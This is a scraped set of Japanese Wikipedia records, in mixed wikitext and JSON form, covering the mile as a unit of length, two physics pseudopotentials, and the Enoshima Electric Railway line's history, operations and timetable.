19世紀、ドイツの大部分とデンマークでは、オーレ・レーマーの測量によって 7.4127 キロメートルと特定された 1 地理マイル(地球上で 4 分の弧 (⁄15° of latitude) の長さ)をマイルとしていた。ドイツの一部では、正確に 7.5 キロメートル を「メートル法マイル」として使用していたが、20世紀初頭には使用されなくなっていた。スカンディナヴィアでは長い間オーレ・レーマーによるマイルを「海里」として使用していたが、20世紀中頃には国際海里に置き換えられた。今日でも、伝統主義的なスカンジナビア人は国際海里を「4分の1マイル」であると見ている。ノルウェーとスウェーデンでは、日常会話では現在でも一般的に使われている伝統的な単位のことを指しているが、現在は公式には10キロメートルと定義されている。
アイルランドでは、2240ヤードと定義される「アイリッシュ・マイル」が、1826年までは公式なものとして使用されており、2005年1月に長さの計量単位がメートルに置き換えられるまで生き残っていた。 | [
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"text": "日本国内の鉄道は、明治期に英国や米国から導入したため、昭和初期までは距離をマイルで表し、また単位記号は現在とは異なり、大文字の \"M\"、もしくは漢字の\"哩\"(マイル)を用いていた。",
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"text": "メートルマイル (metric mile) は、マイルをメートル法化したもので、その長さは 1500 メートル (約 4921.26 国際フィート)である。1500 という数字は、1 マイル(1609.344 メートル)に近く、かつメートルで切りの良い値になるように決められたものである。メートルマイルは陸上競技で使用されている。中距離走の1500メートル競走は、国際大会においてそれまでの「1 マイル走」に代わるものとして始められたものである。多くの陸上競技用トラックは1周 400 メートルであるため、1500 メートル走は 3 周と 4 分の 3 で競われる。米国の高等学校における競走では 1600 メートル (約 5249.34 国際フィート)を指す場合がある。",
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"title": "歴史"
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]
| マイルは、ヤード・ポンド法等における長さ (length) の単位である。 今日では、マイルという単位は通常は、主に陸上の長さの計測に用いられる 1 国際マイル = 1760 ヤード (yard) = 正確に 1609.344 メートル (metre) を指す。日本の計量法における定義も同じである。米国には、国際マイルとわずかに異なる測量マイルがあったが2022年12月31日限りで廃止された(後述)。 これ以外に、主として海上(船)や空中(飛行機)で用いられる距離 (distance) の単位として、 海里がある。 1 海里は、正確に 1852 メートルである。 国際マイルと海里以外にも数種類のマイルがある。 | {{Otheruseslist|ヤード・ポンド法における長さの単位|航空会社におけるポイントサービスの単位|マイレージサービス|ETCマイレージサービス|ETC割引制度|その他|ポイントサービス}}
{{出典の明記|date=2019年12月}}
{{単位
| 名称 = マイル(国際マイル)
| 画像 = [[File:Milestone, Knightsbridge, London - geograph.org.uk - 1590514.jpg|thumb|各地点までの距離がマイルで示された標識]]
| 英語 = mile
| 記号 = mile(日本の計量法),mi, ml
| 度量衡 = [[ヤード・ポンド法]]
| 物理量 = [[長さ]]
| SI = 正確に 1609.344 [[メートル|m]] (国際マイル)
| 定義(国際マイル) = 1760 国際[[ヤード]]
| 由来 = 1000[[パッスス]](パッススは2歩分)
| 語源 = [[ラテン語]] mille(「千」の意)
}}
'''マイル'''({{Lang-en|mile}}、記号:mile、mi)は、[[ヤード・ポンド法]]等における'''[[長さ]]''' (length) の[[単位]]である。
今日では、マイルという単位は通常は、主に陸上の長さの計測に用いられる 1 '''国際マイル''' = 1760 [[ヤード]] ({{lang|en|yard}}) = 正確に 1609.344 [[メートル]] ({{lang|en|metre}}) を指す。日本の[[計量法]]における定義も同じである<ref>{{Cite web|和書|url=https://elaws.e-gov.go.jp/document?lawid=404CO0000000357#83 |title=計量単位令(平成四年政令第三百五十七号)別表第7(第8条関係)長さ |date=基準日|quote=2017年4月1日時点での施行分|website=e-Gov法令検索|accessdate=2019-12-30}}</ref>。[[米国]]には、国際マイルとわずかに異なる'''測量マイル'''があったが2022年12月31日限りで廃止された([[#測量マイル|後述]])。
これ以外に、主として海上([[船]])や空中([[飛行機]])で用いられる'''距離''' (distance) の単位として、 '''[[海里]]''' ([[:en:nautical mile|nautical mile]])がある。 1 海里は、正確に 1852 メートルである<ref>{{要出典|範囲=国際単位系 (SI) の文書(国際文書および日本語の訳本)では、長さ (length) と距離 (distance) とは区別されて使用されている。メートルなどは「長さ」の単位であるが、海里は「距離」の単位である。|date=2019-12-30}}</ref>。
国際マイルと[[海里]]以外にも数種類のマイルがある。
== 現行のマイル ==
今日に残っているマイルには以下のものがある。
; <span id="国際マイル">国際マイル</span> ([[:en:Mile#International mile|International mile]])
: 単にマイルと言った場合は通常はこれを指す。1 国際マイルは 1760 国際[[ヤード]]と定められている。1959年7月に締結された[[国際ヤード・ポンド|国際協定]]により、1 国際ヤードは正確に 0.9144 [[メートル]]と定められたので、1 国際マイルは、正確に 1609.344 m である。米国([[測量]]以外の分野)と[[英国]]で[[ヤード・ポンド法]]の一部として使用されている。
; <span id="測量マイル">測量マイル</span> ([[:en:Mile#U.S. survey mile|U.S. survey mile]])(米国測量マイル)
: 測量マイルは 5280 [[フィート#測量フィート|測量フィート]]、正確に 3937分の6336 [[キロメートル]]であり、約 1609.347 218 694 メートルである。国際マイルよりも約 3.219 [[ミリメートル]]だけ長い。1 国際マイルは、正確に 0.999 998 測量マイルである。1 測量マイルは 8 [[ハロン (単位)|ハロン]]、80 [[チェーン (単位)|チェーン]]に等しい。測量マイルは測量フィートとともに米国の[[公有地測量システム]]で使用されていたが、{{仮リンク|アメリカ国立測地測量局|label=NGS|en|U.S. National Geodetic Survey}}と[[アメリカ国立標準技術研究所|NIST]]は[[2022年]][[12月31日]]をもって、その使用を廃止(国際マイル・国際フィートに移行)した<ref>{{cite web |title=NGS and NIST to Retire U.S. Survey Foot after 2022 |url=https://www.ngs.noaa.gov/web/news/us-survey-foot.shtml |publisher=National Geodetic Survey |accessdate=2020-07-08|date=2019-10-31}}</ref><ref>{{cite web |title=U.S. Survey Foot: Revised Unit Conversion Factors |url=https://www.nist.gov/pml/us-surveyfoot/revised-unit-conversion-factors |publisher=NIST |accessdate=2020-07-08 |date=2019-10-16}}</ref><ref>{{Cite web|title=Deprecation of the United States (U.S.) Survey Foot|language=en|publisher=[[連邦官報]] (85 FR 62698)|date=2020-10-05|url=https://www.federalregister.gov/documents/2020/10/05/2020-21902/deprecation-of-the-united-states-us-survey-foot|accessdate=2021-02-24}}</ref>。
; <span id="法定マイル">法定マイル</span> ([[:en:Statute mile|Statute mile]])
: 1593年に英国で法定されたためこう呼ばれる。1760 ヤードであるが、ヤードの定義の違いにより法定マイルの長さも異なる。米国で単に "{{en|statute mile}}" と言った場合は、国際マイルを指すことも、測量マイルを指すこともある。これに対して、"U.S. statute mile" は、測量マイルのみを指す<ref>[http://www.nist.gov/pml/wmd/pubs/upload/sp-447-2.pdf WEIGHTS and MEASURES STANDARDS of the UNITED STATES a brief history]{{リンク切れ|date=2019年12月}}U.S. Department of Commerce, National Bureau of Standards, NBS Special Publication 447, p. 26</ref>。
; <span id="国際海里">国際海里</span> ([[:en:International nautical mile|International nautical mile]])
: 正確に 1852 メートルと定義されている。[[航空]]や[[航海]]において使用される。元々は[[地理マイル]]([[:en:geographical mile|geographical mile]]:約 1853 メートル)に由来するものである。
米国や英国の[[競馬]]での[[距離]]には、マイルを用いている。日本の競馬では、[[マイルチャンピオンシップ]]のようにレース名に用いられたり、習慣的に 1600 メートルをマイルと呼ぶことはあるが、公式な競走距離の単位としては採用されていない。また、1 マイルの距離に適性のある[[競走馬]]は、マイラーと呼ばれている。
== 単位記号 ==
日本における単位記号は、計量単位規則により、"mile" と定められている<ref>{{Cite web|和書|url=https://elaws.e-gov.go.jp/document?lawid=404M50000400080#95 |title=計量単位規則(平成四年通商産業省令第八十号)別表第6(第2条関係)面積「平方マイル」|date=2016-10-1|website=e-Gov法令検索|accessdate=2021-1-7}}</ref>。
米国での文章表記の基準の一つである U.S. Government Publishing Office Style Manual<ref>https://www.govinfo.gov/collection/gpo-style-manual?path=/GPO/U.S.%20Government%20Publishing%20Office%20Style%20Manual</ref> では、"mi" を用いると定めている<ref>[https://www.gpo.gov/fdsys/pkg/GPO-STYLEMANUAL-2008/pdf/GPO-STYLEMANUAL-2008.pdf U.S. Government Printing Office Style Manual]Abbreviations and Letter Symbols、9.58、pp. 237, 250.</ref>。
米国の航空分野では "SM" を使用する<ref>https://www.faa.gov/air_traffic/publications/atpubs/aim_html/appendix_3.html
FAA AIM Abbreviations/Acronyms</ref>。これはStatute Mileの頭文字で、海里 "NM" との区別の必要があるためである。
英国では "ml" である{{要出典|date=2016年6月}}。かつては "m" も用いられたが、メートルと同じであるため、今日ではあまり用いられない。
=== 歴史的表記 ===
日本国内の[[鉄道]]は、[[明治]]期に英国や米国から導入したため、[[昭和]]初期までは距離をマイルで表し、また単位記号は現在とは異なり、大文字の "M"、もしくは漢字の"哩"(マイル)を用いていた<ref>{{Cite web|和書| url=http://retro.lalapa.net/2010/02/post-128.html| title=門司港駅の0哩標 | work=門司港レトロ案内 | accessdate=2021-1-7}}</ref><ref>補助単位は、明治初期の鉄道導入当初にはフィート(呎)も用いられ、例えば"5哩2340呎"などという表記もあったが、すぐに[[チェーン (単位)|チェーン]]に統一された。表記はやはり大文字の "C" または漢字の"鎖"を用いた。また明治末になるとチェーンの使用を廃止し、例えば "12.34 M" のように 100 分の 1 マイルを小数で表記する方法に切り替わった。</ref>。
== 英語圏以外のマイル ==
{{unreferenced|section=1|date=2015年12月28日 (月) 13:29 (UTC)}}
英語圏以外でもマイルと英訳される、あるいはマイルがそのように訳される距離の単位が多い。
その範囲は広く、1〜11 キロメートル の範囲にわたる。主なマイルの長さは以下のとおり。
; イタリアマイル(ミリオ miglio)
: 古代は 2.226 キロメートル、伝統的には 1.489 キロメートル、現在は 1 キロメートル。
; 古代ローママイル(ミッアリウム milliarium)
: 1000 歩であり、1.48 キロメートル前後。
; スペインマイル(ミリャ milla)
: 旧制 1394 メートル、新制 1852 メートル(上記国際海里と同一)。スペイン語圏中南米では新ミリャに近い。
; アラビアマイル(ミレ mille)
: 1.9 - 2キロメートル。
; ドイツマイル(マイレ Meile)
: 7.5325 キロメートル。[[オーストリア]]では 7.585 935 360 キロメートル。
; [[ノルウェー]]マイル・[[スウェーデン]]マイル(ミル mil)
: 伝統的には 11 キロメートル前後。現在は 10 キロメートル。
ただし、[[メートル法]]移行により、以上の様々なマイルは歴史的な単位となり、単に「マイル」といえば「ヤード・ポンド法のマイル」を意味することになった。
== メートルマイル ==
'''メートルマイル''' ([[:en:metric mile|metric mile]]) は、マイルをメートル法化したもので、その長さは 1500 [[メートル]] (約 4921.26 [[フィート#国際フィート|国際フィート]])である。1500 という数字は、1 マイル(1609.344 メートル)に近く、かつメートルで切りの良い値になるように決められたものである。メートルマイルは[[陸上競技]]で使用されている。[[中距離走]]の[[1500メートル競走]]は、国際大会においてそれまでの「1 マイル走」に代わるものとして始められたものである。多くの陸上競技用[[陸上競技場|トラック]]は1周 400 メートルであるため、1500 メートル走は 3 周と 4 分の 3 で競われる。米国の高等学校における競走では 1600 メートル (約 5249.34 [[フィート#国際フィート|国際フィート]])を指す場合がある{{sfnp|Rowlett|2005|loc=[http://www.unc.edu/~rowlett/units/dictI.html "Irish mile"]|ps={{リンク切れ|date=2019年12月}}}}。
== 派生単位 ==
* [[マイル毎時]] (mph): [[速度]]の単位
* [[マイル毎ガロン]] (mpg): [[燃費]]の単位
== 歴史 ==
マイル (mile) という単語は、[[ラテン語]]の mille([[1000|千]])に由来する。[[古代ローマ]]には、2歩(片方の足を踏み出してから次に同じ足を踏み出すまで)分の長さに相当する[[パッスス]] ("passus") という単位があった。これの 1000 倍の "mille passus" がマイルの由来とされている。1 パッススは 5 [[フィート]]だったので(ただしこのフィートは現在のものより短い。現在のフィートでは約 4.83 フィートとなる)、1 マイルは 5000 フィートとなる。[[ローマ人]]が[[ヨーロッパ]]中に建設される[[道路|道]]には、[[ローマ]]を[[起点]]として 1 マイルごとに標石が設置された。その標石は[[マイルストーン]]と呼ばれる。[[1593年]]、[[エリザベス1世]]によって、1 マイルは 8 [[ハロン (単位)|ハロン]](5280 フィート)と定められた。そのため、このマイルは statute mile(法定マイル)と呼ばれる。
[[航海]]の分野では、地理マイルが一般的に使われた。地理マイルは、[[地球]]の[[赤道]]に沿って 1 [[分 (角度)|分]]の弧の長さ(約 1855 メートル)として定義された。
[[1959年]]に国際マイルが採用されたとき、それまで米国で[[地籍]][[測量]]に使われていたマイルが米国測量マイルとして残されたが、2022年12月31日限りで廃止された。
[[19世紀]]、[[ドイツ]]の大部分と[[デンマーク]]では、[[オーレ・レーマー]]の測量によって 7.4127 キロメートル{{sfnp|Rowlett|2005|loc="meile"}}と特定された 1 地理マイル(地球上で 4 [[分 (角度)|分]]の[[弧]] ({{frac|15}}° of latitude) の長さ)をマイルとしていた。ドイツの一部では、正確に 7.5 キロメートル を「メートル法マイル」として使用していたが、[[20世紀]]初頭には使用されなくなっていた。[[スカンディナヴィア]]では長い間オーレ・レーマーによるマイルを「[[海里]]」として使用していたが、20世紀中頃には国際海里に置き換えられた。今日でも、伝統主義的なスカンジナビア人は国際海里を「4分の1マイル」であると見ている。ノルウェーとスウェーデンでは、日常会話では現在でも一般的に使われている伝統的な単位のことを指しているが、現在は公式には10キロメートルと定義されている。
[[アイルランド]]では、2240[[ヤード]]と定義される「アイリッシュ・マイル」が、[[1826年]]までは公式なものとして使用されており、[[2005年]]1月に長さの計量単位がメートルに置き換えられるまで生き残っていた。
== 符号位置 ==
{| class="wikitable" style="text-align:center;"
!記号!![[Unicode]]!![[JIS X 0213]]!![[文字参照]]!!名称
{{CharCode|13269|33D5|-|SQUARE MIL}}
|}
== 脚注 ==
{{Reflist}}
==外部リンク==
* [https://www.tan-i-kansan.com/category/%E3%83%9E%E3%82%A4%E3%83%AB%E3%81%AE%E9%95%B7%E3%81%95%EF%BD%9C%E5%8D%98%E4%BD%8D%E6%8F%9B%E7%AE%97%E8%A1%A8/ マイル(長さ)単位換算表]
== 関連項目 ==
* [[インチ]]
* [[マイレージサービス]]
* [[フードマイレージ]]
* [[リーグ (単位)|リーグ]]
* [[ハロン (単位)|ハロン]]・[[ハロン棒]](日本の場合は端数を切り捨てるため、1 マイル = 1600 m としている)
* [[マイル毎時]]
* [[長さの比較]]
* [[単位の換算一覧]]
* [[ラストワンマイル]]
{{長さの単位 (長)}}
{{DEFAULTSORT:まいる}}
[[Category:ヤード・ポンド法]]
[[Category:長さの単位]] | 2003-04-15T09:48:47Z | 2023-10-31T00:00:45Z | false | false | false | [
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| https://ja.wikipedia.org/wiki/%E3%83%9E%E3%82%A4%E3%83%AB |
6,761 | アシュクロフトの擬ポテンシャル | アシュクロフトの擬ポテンシャル(アシュクロフトのぎポテンシャル 、Ashcroft pseudopotential、空殻ポテンシャル[エンプティ-コアポテンシャル: Empty-core potential]とも言う)は、適当に決めた切断半径rcより内側でのポテンシャルの値はゼロとし、切断半径の外側では真の原子(価電子数Z)のポテンシャル( − Z e 2 / r {\displaystyle -Ze^{2}/r} )とした擬ポテンシャル。
切断半径rcは、実際のバンド構造(←他のバンド計算などによって得られたもの)に合うように調整される。従って本ポテンシャルは経験的な擬ポテンシャルである。 | [
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| アシュクロフトの擬ポテンシャルは、適当に決めた切断半径rcより内側でのポテンシャルの値はゼロとし、切断半径の外側では真の原子(価電子数Z)のポテンシャル( − Z e 2 / r )とした擬ポテンシャル。 切断半径rcは、実際のバンド構造(←他のバンド計算などによって得られたもの)に合うように調整される。従って本ポテンシャルは経験的な擬ポテンシャルである。 | {{出典の明記|date=2021年4月6日 (火) 11:07 (UTC)}}
'''アシュクロフトの擬ポテンシャル'''(アシュクロフトのぎポテンシャル 、Ashcroft pseudopotential、'''空殻ポテンシャル'''[エンプティ-コアポテンシャル: Empty-core potential]とも言う)は、適当に決めた切断半径''r''<sub>c</sub>より内側でのポテンシャルの値はゼロとし、切断半径の外側では真の原子(価電子数Z)のポテンシャル(<math>-Ze^2/r</math>)とした[[擬ポテンシャル]]。
切断半径''r''<sub>c</sub>は、実際の[[バンド構造]](←他の[[バンド計算]]などによって得られたもの)に合うように調整される。従って本ポテンシャルは経験的な擬ポテンシャルである。
== 関連項目 ==
*[[ノルム保存型擬ポテンシャル]]
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6,763 | ハイネ-アバレンコフの擬ポテンシャル | ハイネ-アバレンコフの擬ポテンシャル(ハイネ-アバレンコフのぎポテンシャル、Heine-Abarenkov pseudopotential)は、アシュクロフトの擬ポテンシャルと異なり、切断半径rcの内側を、非局所項で記述する。その非局所項は、実際の実験によって得られる原子のエネルギー準位に合うように決められる。この意味でこれは経験的な擬ポテンシャルである。 | [
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== 関連項目 ==
*[[ノルム保存擬ポテンシャル]]
*[[バンド計算]]
== 外部リンク ==
*[https://web.archive.org/web/20050414064437/http://homepage.mac.com/mike1336/md/app/j501_550/528_HeineAbarenkovPPP/HeineAbarenkovPP.html]
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6,764 | 江ノ島電鉄線 | 江ノ島電鉄線(えのしまでんてつせん)は、神奈川県藤沢市南藤沢の藤沢駅から同市片瀬海岸一丁目の江ノ島駅を経て鎌倉市御成町の鎌倉駅に至る、江ノ島電鉄の鉄道路線。1902年に藤沢 - 片瀬(現・江ノ島)間が開通し、1910年に小町(現在のJR鎌倉駅東口若宮大路道路上にあった)までの全線が開通した。「江ノ電」として広く親しまれている。駅ナンバリングで使われる路線記号はEN。
全区間にて、PASMO・Suicaなどの交通系ICカード乗車券が利用可能である。ただしPASMO・Suica以外の交通系ICカードは改札機でしか利用できない。なお、履歴印字などは駅員のいる窓口でのみおこなうことができる。
全長25メートルほどの2両1組の連接車を用い、これを単行(ソロ)または2組連結させた重連で運転されている。途中の腰越 - 江ノ島間は併用軌道となっており道路上を走行しているが、当路線は全区間が鉄道事業法に基づく鉄道路線である。しかし建設の経緯や車両の大きさなどから広義での路面電車やLRTに分類されることもある。「日本の路面電車一覧」の項目も参照。
創業期より電力事業を営み、電力会社(横浜電気→東京電燈)に買収された。その名残として、現在も一部区間において東京電力パワーグリッドの電力柱を架線柱と共有している。「江ノ島電鉄#歴史」の項目も参照。
戦後、1964年東京五輪の開催に伴って沿線の道路開発が進み、モータリゼーションによるバス事業の躍進などの影響で乗客数が相対的に落ち込み、一時は廃止の危機に陥った。しかし、付近の道路が渋滞して電車の定時性が見直されたことや、沿線の宅地開発や都市開発により利用者が増加し、藤沢駅高架化を代表とする鉄道近代化へと方針転換する。その後、テレビドラマなど鎌倉・湘南ブームで江ノ電の人気となったこともあって、観光鉄道として知名度の高い鉄道となっていった。
全線単線で、腰越 - 江ノ島間に県道上を、七里ヶ浜付近や稲村ヶ崎付近に市道の端を走る併用軌道区間がある。検修工場は極楽寺駅近くに極楽寺検車区がある。この他、夜間停泊などで使われる電留線が江ノ島駅構内に3線ある。
交換可能駅や信号場に設置されているポイントは、ほとんどが発条転てつ器となっている。正式な踏切は警報機と遮断機が付いている第一種踏切道(50箇所)しか存在しないが、踏切以外の箇所を事実上の通路として横断に利用しているケースがあり(非公認ながら踏み板を設置している箇所もある)、しばしば安全上の問題として取り上げられる。
和田塚・由比ヶ浜・極楽寺・鎌倉高校前・湘南海岸公園・鵠沼・柳小路・石上の8駅が終日無人駅となっており、切符は乗務員が回収するか、備え付けの集札箱に入れるようになっている。繁忙期には旅客が集中する無人駅にも駅員や警備員が配置される。自動改札機は鎌倉、長谷、江ノ島、鵠沼(一部)、藤沢の5駅に設置されており、その他の駅のすべての出入口には交通系ICカード簡易改札機が完備されている。
高架駅の藤沢駅、半地下構造の鵠沼駅を除き、各駅のホームと駅舎間には跨線橋の類は一切無く、構内踏切(渡線路)しかない。トイレは柳小路・石上を除く全駅に設置されている(身障者用は鎌倉・長谷・江ノ島・藤沢に設置)。4両編成の場合、腰越駅では、ホームが短いため鎌倉寄り1両のドアが締切(ドアカット)となる。
1998年に発行された地図帳では電鉄線の路線名称が記載されている一方、1997年(平成9年)版の『鉄道要覧』には路線名の記載はなかった。しかし2003年(平成15年)版から「江ノ島電鉄線」の路線名が記載されるようになっている。
起点は藤沢駅である。したがって藤沢方面行きが上り列車(列車番号が偶数)、鎌倉方面行きが下り列車(列車番号が奇数)となる。
日中は、全線6編成で運行され、平日は7時頃から18時頃までのすべての列車が4両編成、それ以外の時間帯は一部の列車が2両編成で運転される。土休日は9時頃から19時頃まですべて4両編成が組まれる。ゴールデンウィークなどは7編成で運行され、鎌倉駅副本線を使用した「段落し」と称される交互発着で運用される。
全区間通しの列車のほか、朝と夜の一部は検車区のある極楽寺駅終着や稲村ヶ崎駅始発、電留線のある江ノ島駅を始発・終着とする区間列車がある。
ワンマン運転は行っておらず、全ての列車に車掌が乗務する。
ダイヤは全日共通で、早朝・深夜を除き12分間隔で運行され、すべての交換可能駅・信号場で列車交換が行われる「ネットダイヤ」を形成し、これ以上の増発が困難な状況だった。所要時間は藤沢 - 江ノ島間10分、江ノ島 - 鎌倉間23分、藤沢 - 鎌倉間34分。停車時間を含まない全線の運転時間は27分30秒。両端駅では乗務員交換後、直ちに出発していた。
早朝に極楽寺(6時9分発)→稲村ヶ崎(6時11分着)の定期回送列車(第51B列車)が設定されていた。本線上を走る唯一の定期回送列車である。なお、この第51B列車は稲村ヶ崎到着後すぐに、折り返し第51列車鎌倉行きとして営業運転された。
2023年3月18日のダイヤ改正では、定時運行の確保や利用状況の変化を見据え、1952年以来継続していた12分間隔での運行が14分間隔に見直された。これに伴い、全線の所要時間も見直され、それまでの全線34分運転が37分運転となった。具体的には江ノ島駅で時間調整を行い、また両終端駅の折り返し時間を5分設けた。
江ノ島電鉄線の輸送実績を下表に記す。
表中、輸送人員の単位は万人。輸送人員は年度での値。表中、最高値を薄赤色で、最高値を記録した年度以降の最低値を薄青色で、最高値を記録した年度以前の最低値を薄緑色で表記している。
鉄道統計年報(国土交通省鉄道局監修)より抜粋
江ノ島電鉄線の営業成績を下表に記す。表中、収入の単位は千円。数値は年度での値。表中、最高値を赤色で、最高値を記録した年度以降の最低値を青色で、最高値を記録した年度以前の最低値を緑色で表記している。
鉄道統計年報(国土交通省鉄道局監修)より抜粋 | [
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"text": "全長25メートルほどの2両1組の連接車を用い、これを単行(ソロ)または2組連結させた重連で運転されている。途中の腰越 - 江ノ島間は併用軌道となっており道路上を走行しているが、当路線は全区間が鉄道事業法に基づく鉄道路線である。しかし建設の経緯や車両の大きさなどから広義での路面電車やLRTに分類されることもある。「日本の路面電車一覧」の項目も参照。",
"title": "概要"
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"text": "創業期より電力事業を営み、電力会社(横浜電気→東京電燈)に買収された。その名残として、現在も一部区間において東京電力パワーグリッドの電力柱を架線柱と共有している。「江ノ島電鉄#歴史」の項目も参照。",
"title": "概要"
},
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"text": "戦後、1964年東京五輪の開催に伴って沿線の道路開発が進み、モータリゼーションによるバス事業の躍進などの影響で乗客数が相対的に落ち込み、一時は廃止の危機に陥った。しかし、付近の道路が渋滞して電車の定時性が見直されたことや、沿線の宅地開発や都市開発により利用者が増加し、藤沢駅高架化を代表とする鉄道近代化へと方針転換する。その後、テレビドラマなど鎌倉・湘南ブームで江ノ電の人気となったこともあって、観光鉄道として知名度の高い鉄道となっていった。",
"title": "概要"
},
{
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"tag": "p",
"text": "全線単線で、腰越 - 江ノ島間に県道上を、七里ヶ浜付近や稲村ヶ崎付近に市道の端を走る併用軌道区間がある。検修工場は極楽寺駅近くに極楽寺検車区がある。この他、夜間停泊などで使われる電留線が江ノ島駅構内に3線ある。",
"title": "概要"
},
{
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"text": "交換可能駅や信号場に設置されているポイントは、ほとんどが発条転てつ器となっている。正式な踏切は警報機と遮断機が付いている第一種踏切道(50箇所)しか存在しないが、踏切以外の箇所を事実上の通路として横断に利用しているケースがあり(非公認ながら踏み板を設置している箇所もある)、しばしば安全上の問題として取り上げられる。",
"title": "概要"
},
{
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"tag": "p",
"text": "和田塚・由比ヶ浜・極楽寺・鎌倉高校前・湘南海岸公園・鵠沼・柳小路・石上の8駅が終日無人駅となっており、切符は乗務員が回収するか、備え付けの集札箱に入れるようになっている。繁忙期には旅客が集中する無人駅にも駅員や警備員が配置される。自動改札機は鎌倉、長谷、江ノ島、鵠沼(一部)、藤沢の5駅に設置されており、その他の駅のすべての出入口には交通系ICカード簡易改札機が完備されている。",
"title": "概要"
},
{
"paragraph_id": 8,
"tag": "p",
"text": "高架駅の藤沢駅、半地下構造の鵠沼駅を除き、各駅のホームと駅舎間には跨線橋の類は一切無く、構内踏切(渡線路)しかない。トイレは柳小路・石上を除く全駅に設置されている(身障者用は鎌倉・長谷・江ノ島・藤沢に設置)。4両編成の場合、腰越駅では、ホームが短いため鎌倉寄り1両のドアが締切(ドアカット)となる。",
"title": "概要"
},
{
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"tag": "p",
"text": "1998年に発行された地図帳では電鉄線の路線名称が記載されている一方、1997年(平成9年)版の『鉄道要覧』には路線名の記載はなかった。しかし2003年(平成15年)版から「江ノ島電鉄線」の路線名が記載されるようになっている。",
"title": "概要"
},
{
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"text": "起点は藤沢駅である。したがって藤沢方面行きが上り列車(列車番号が偶数)、鎌倉方面行きが下り列車(列車番号が奇数)となる。",
"title": "運行形態"
},
{
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"text": "日中は、全線6編成で運行され、平日は7時頃から18時頃までのすべての列車が4両編成、それ以外の時間帯は一部の列車が2両編成で運転される。土休日は9時頃から19時頃まですべて4両編成が組まれる。ゴールデンウィークなどは7編成で運行され、鎌倉駅副本線を使用した「段落し」と称される交互発着で運用される。",
"title": "運行形態"
},
{
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"tag": "p",
"text": "全区間通しの列車のほか、朝と夜の一部は検車区のある極楽寺駅終着や稲村ヶ崎駅始発、電留線のある江ノ島駅を始発・終着とする区間列車がある。",
"title": "運行形態"
},
{
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"tag": "p",
"text": "ワンマン運転は行っておらず、全ての列車に車掌が乗務する。",
"title": "運行形態"
},
{
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"tag": "p",
"text": "ダイヤは全日共通で、早朝・深夜を除き12分間隔で運行され、すべての交換可能駅・信号場で列車交換が行われる「ネットダイヤ」を形成し、これ以上の増発が困難な状況だった。所要時間は藤沢 - 江ノ島間10分、江ノ島 - 鎌倉間23分、藤沢 - 鎌倉間34分。停車時間を含まない全線の運転時間は27分30秒。両端駅では乗務員交換後、直ちに出発していた。",
"title": "運行形態"
},
{
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"tag": "p",
"text": "早朝に極楽寺(6時9分発)→稲村ヶ崎(6時11分着)の定期回送列車(第51B列車)が設定されていた。本線上を走る唯一の定期回送列車である。なお、この第51B列車は稲村ヶ崎到着後すぐに、折り返し第51列車鎌倉行きとして営業運転された。",
"title": "運行形態"
},
{
"paragraph_id": 16,
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"text": "2023年3月18日のダイヤ改正では、定時運行の確保や利用状況の変化を見据え、1952年以来継続していた12分間隔での運行が14分間隔に見直された。これに伴い、全線の所要時間も見直され、それまでの全線34分運転が37分運転となった。具体的には江ノ島駅で時間調整を行い、また両終端駅の折り返し時間を5分設けた。",
"title": "運行形態"
},
{
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"text": "江ノ島電鉄線の輸送実績を下表に記す。",
"title": "利用状況"
},
{
"paragraph_id": 18,
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"text": "表中、輸送人員の単位は万人。輸送人員は年度での値。表中、最高値を薄赤色で、最高値を記録した年度以降の最低値を薄青色で、最高値を記録した年度以前の最低値を薄緑色で表記している。",
"title": "利用状況"
},
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"text": "鉄道統計年報(国土交通省鉄道局監修)より抜粋",
"title": "利用状況"
},
{
"paragraph_id": 20,
"tag": "p",
"text": "江ノ島電鉄線の営業成績を下表に記す。表中、収入の単位は千円。数値は年度での値。表中、最高値を赤色で、最高値を記録した年度以降の最低値を青色で、最高値を記録した年度以前の最低値を緑色で表記している。",
"title": "利用状況"
},
{
"paragraph_id": 21,
"tag": "p",
"text": "鉄道統計年報(国土交通省鉄道局監修)より抜粋",
"title": "利用状況"
}
]
| 江ノ島電鉄線(えのしまでんてつせん)は、神奈川県藤沢市南藤沢の藤沢駅から同市片瀬海岸一丁目の江ノ島駅を経て鎌倉市御成町の鎌倉駅に至る、江ノ島電鉄の鉄道路線。1902年に藤沢 - 片瀬(現・江ノ島)間が開通し、1910年に小町(現在のJR鎌倉駅東口若宮大路道路上にあった)までの全線が開通した。「江ノ電」として広く親しまれている。駅ナンバリングで使われる路線記号はEN。 全区間にて、PASMO・Suicaなどの交通系ICカード乗車券が利用可能である。ただしPASMO・Suica以外の交通系ICカードは改札機でしか利用できない。なお、履歴印字などは駅員のいる窓口でのみおこなうことができる。 | {{脚注の不足|date=2019年4月}}
{{Infobox 鉄道路線
|路線名=[[File:Enoden Logomark G.svg|20px]] 江ノ島電鉄線
|路線色=#f6be18
|ロゴ=Number prefix Enoden.svg
|ロゴサイズ=40px
|画像=Enoden-Type2000-2002F.jpg
|画像説明=[[江ノ島電鉄2000形電車]]<br />(七里ヶ浜 - 稲村ヶ崎間 2020年12月31日)
|国={{JPN}}
|所在地=[[神奈川県]][[藤沢市]]、[[鎌倉市]]
|起点=[[藤沢駅]]
|終点=[[鎌倉駅]]
|駅数=15駅
|路線記号=EN
|開業={{start date and age|1902|9|1}}
|休止=
|廃止=
|所有者=[[江ノ島電鉄]]
|運営者=江ノ島電鉄
|車両基地=
|使用車両=[[江ノ島電鉄#車両]]を参照
|路線距離=10.0 [[キロメートル|km]]<ref name="company-book2020">{{PDFlink|1=[https://www.enoden.co.jp/corporate/company/book/pdf/2021-04.pdf 江ノ電グループ会社要覧2020]}} - 江ノ島電鉄</ref>
|軌間=1,067 [[ミリメートル|mm]]<ref name="company-book2020" />
|線路数=[[単線]]<ref name="company-book2020" />
|電化方式=[[直流電化|直流]]600 [[ボルト (単位)|V]]<ref name="company-book2020" /><br>[[架空電車線方式]]
|最大勾配=
|最小曲線半径=28 [[メートル|m]]<ref>{{Cite web|和書|url=https://www.enoden.co.jp/train/museum/facilities/|accessdate=2020-01-14|title=鉄道施設情報|江ノ電博物館|電車|publisher=江ノ島電鉄株式会社}}</ref>
|閉塞方式=自動閉そく式(特殊) [[自動進路制御装置|ARC]]<ref name="company-book2020" />(代用閉そく方式は指導通信式、閉そく準用法は採用せず)
|保安装置=江ノ電形点制御車上速度比較照査式[[自動列車停止装置|eATS]]<ref name="company-book2020" />
|最高速度=45 [[キロメートル毎時|km/h]]<ref name="company-book2020" />
|路線図=File:EER Linemap.svg
}}
